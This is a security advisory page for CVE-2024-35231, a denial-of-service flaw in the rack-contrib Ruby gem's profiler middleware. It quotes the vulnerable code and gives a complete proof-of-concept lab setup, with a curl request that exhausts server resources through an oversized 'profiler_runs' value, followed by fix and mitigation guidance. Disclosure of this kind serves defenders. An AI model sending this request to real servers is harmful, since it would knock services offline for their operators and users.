CVE-2024-35231 is a high-severity (CVSS 8.6) CWE-770 vulnerability in rack-contrib. A fix is available for rack-contrib — see the affected versions and patch details below.
rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-35231.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
rack-contribReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.
PoC
Herein the config.ru file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
Impact
- Potential denial of service by remotely user-controlled data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | rack-contrib | all versions | 2.5.0bundle update rack-contrib --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rack-contrib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update rack-contrib to 2.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-35231 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2024-35231 in your dependencies?
Find it across RubyGems, including transitive dependencies.